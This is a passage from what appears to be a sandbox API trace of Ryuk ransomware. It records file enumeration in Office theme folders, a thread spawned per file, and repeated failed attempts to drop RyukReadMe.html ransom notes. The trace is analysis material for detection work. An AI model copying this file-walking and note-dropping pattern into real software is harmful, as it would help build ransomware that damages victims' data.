	[0163.992] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0163.992] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c
	[0163.994] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.995] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0163.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740
	[0163.997] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.997] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0163.997] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0163.998] SetLastError (dwErrCode=0x0) 
	[0163.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.998] GetLastError () returned 0x5
	[0163.998] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.998] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.998] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0163.999] SetLastError (dwErrCode=0x0) 
	[0163.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.999] GetLastError () returned 0x5
	[0163.999] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0164.003] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.003] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1
	[0164.004] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744
	[0164.006] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.006] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x8e, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1
	[0164.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748
	[0164.009] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.010] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.010] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c
	[0164.012] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.013] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.013] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750
	[0164.015] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.016] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0164.016] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0164.016] SetLastError (dwErrCode=0x0) 
	[0164.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.016] GetLastError () returned 0x5
	[0164.016] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.017] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0164.017] SetLastError (dwErrCode=0x0) 
	[0164.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.017] GetLastError () returned 0x5
	[0164.017] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.017] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0164.018] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.018] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1
	[0164.018] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754
	[0164.133] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.134] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x8e, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1
	[0164.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758
	[0164.137] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.137] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c
	[0164.140] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.140] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760
	[0164.144] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.144] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0164.144] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0164.145] SetLastError (dwErrCode=0x0) 
	[0164.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.145] GetLastError () returned 0x5
	[0164.145] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.145] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0164.145] SetLastError (dwErrCode=0x0) 
	[0164.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.146] GetLastError () returned 0x5
	[0164.146] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.146] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0164.150] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.151] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x8e, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1
	[0164.151] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764
	[0164.154] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.154] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1
	[0164.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768
	[0164.157] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.158] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.158] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c
	[0164.160] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.161] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770
	[0164.163] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.164] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0164.164] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0164.164] SetLastError (dwErrCode=0x0) 
